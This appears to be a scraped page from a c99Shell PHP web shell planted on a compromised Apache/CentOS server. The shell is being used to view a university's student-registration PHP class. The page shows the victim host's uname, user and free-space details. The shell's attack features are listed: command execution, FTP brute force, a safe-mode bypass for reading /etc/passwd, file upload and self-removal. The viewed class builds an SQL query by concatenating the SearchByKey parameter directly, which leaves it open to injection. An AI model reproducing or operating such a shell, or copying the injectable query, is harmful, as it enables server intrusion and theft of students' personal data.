!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess_OLD/class/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     clsReg_StudentMaster.php (4.43 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//--Class StudentMaster--------------------------
//--PK of StudentMaster ::
//    1. studentId

class StudentMaster extends clsDB{

var 
$result;

var 
$studentId;
var 
$studentCode;
var 
$levelId;
var 
$programId;
var 
$prefixId;
var 
$studentName;
var 
$studentSurname;
var 
$studentNameEng;
var 
$studentSurnameEng;
var 
$creditAttempt;
var 
$creditSatisfy;
var 
$GPA;
var 
$admitAcadYear;
var 
$admitSemester;
var 
$admitDate;
var 
$finishDate;
var 
$studentPassword;
var 
$studentEmail;
var 
$studentYear;
var 
$studentStatus;
var 
$officerId1;
var 
$officerId2;
var 
$financeStatus;
var 
$updateUserId;
var 
$updateDateTime;
var 
$citizenId;
var 
$graduateYear;
var 
$genStatus;
var 
$genNo;
var 
$entryTypeId;
var 
$entryTypeId2;
var 
$studentSex;
var 
$scholarId;
var 
$preAdmitPositionId;
var 
$totalPoint;
var 
$honor;
var 
$medal;
var 
$exitExam;
var 
$studentStatusTmp;

function 
StudentMaster(&$c){
    
$this->c=$c->c;
    
$this->DB=$c->db;
}

function 
RSStudentMaster(){
//--เมธอดที่ขึ้นต้นด้วย RS (ResultSet) มีความหมายว่าจะได้รับข้อมูลกลับมาจากการ select มากกว่า 1 เรคอร์ด
//--จะต้องเรียกเมธอด GetRecord() ด้วยเสมอ นำข้อมูลจาก ResultSet เข้าอ๊อบเจ๊ก
//--โดยสามารถเพิ่มเมธอดได้ตามต้องการ แต่ต้องขึ้นต้นด้วย RS
    
$this->SetQuery("
                SELECT *
                FROM "
.$GLOBALS['DB_REGIST'].".rg_Student
                LEFT JOIN "
.$GLOBALS['DB_REGIST'].".rg_StudentEduHis ON sehStdId = stdId
                LEFT JOIN "
.$GLOBALS['DB_PPC'].".Level lv ON sehElvId = levelId
                LEFT JOIN "
.$GLOBALS['DB_REGIST'].".rg_Curriculum ON stdCurId = curId
                LEFT JOIN "
.$GLOBALS['DB_PPC'].".Prefix ON stdPfId = prefixId
                ORDER BY stdId
"
);
}

function 
GetRecord(){
//--นำข้อมูลจาก ResultSet มากำหนดให้กับแอตทริบิวต์ของอ๊อบเจ็ก
//--เรียก GetRecord() หนึ่งครั้ง จะเลื่อนตัวชี้เรคอร์ดไปอีกหนึ่งเรคอร์ด
    
if ($this->result $this->GetResult()) {
        
$this->studentId $this->result['stdId'];
        
$this->studentCode $this->result['stdCode'];
        
$this->levelId $this->result['levelName'];
        
$this->programId $this->result['stdCurId'];
        
$this->prefixId $this->result['stdPfId'];
        
$this->studentName $this->result['stdName'];
        
$this->studentSurname $this->result['stdSurName'];
        
$this->studentNameEng $this->result['stdNameE'];
        
$this->studentSurnameEng $this->result['stdSurNameE'];
        
$this->creditAttempt $this->result['stdCreditAttempt'];
        
$this->creditSatisfy $this->result['stdCreditSatisfy'];
        
$this->GPA $this->result['stdGPA'];
        
$this->admitAcadYear $this->result['stdAdY'];
        
$this->admitSemester $this->result['stdTmIdAdmit'];
        
$this->admitDate $this->result['stdAdmitDate'];
        
$this->finishDate $this->result['stdGraduateDate'];
        
$this->studentPassword '';//$this->result['studentPassword'];
        
$this->studentEmail $this->result['sdtEmail'];
        
$this->studentYear $this->result['stdSyId'];
        
$this->studentStatus $this->result['stdSsId'];
        
$this->officerId1 '';//$this->result['officerId1'];
        
$this->officerId2 '';//$this->result['officerId2'];
        
$this->financeStatus $this->result['stdFsId'];
        
$this->updateUserId $this->result['stdUpdateUsLogin'];
        
$this->updateDateTime $this->result['stdUpdateDate'];
        
$this->citizenId $this->result['sdtCitizenId'];
        
$this->graduateYear $this->result['stdGraduateY'];
        
$this->genStatus $this->result['stdGenStatus'];
        
$this->genNo $this->result['stdGenId'];
        
$this->entryTypeId $this->result['stdEtId'];
        
$this->entryTypeId2 $this->result['stdEt2Id'];
        
$this->studentSex $this->result['sdtSex'];
        
$this->scholarId $this->result['stdSoId'];
        
$this->preAdmitPositionId $this->result['stdPaId'];
        
$this->totalPoint $this->result['stdTotalPoint'];
        
$this->honor $this->result['stdHonor'];
        
$this->medal $this->result['stdMedal'];
        
$this->exitExam $this->result['stdExitExam'];
        
$this->studentStatusTmp $this->result['stdSstIdTmp'];
        return 
1;
    }else {
        return 
0;
    }
}

function 
SearchByKey($xKey){
//--ค้นหาข้อมูลตาม PK ต้องระบุพารามิเตอร์ด้วย และต้องตามด้วยเมธอด GetRecord() เสมอ
    
if ($this->SetQuery("select * from rg_Student where stdId= '$xKey'")){ 
        return 
1;
    }else {
        return 
0;
    }
}
//****************** You can add new functions below **********************//
function RSStudentByGenStatusY(){
    if (
$this->SetQuery("select * from rg_Student where stdGenStatus='Y'")){
        return 
1;
    }else {
        return 
0;
    }
}

//--End class StudentMaster--

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0109 ]--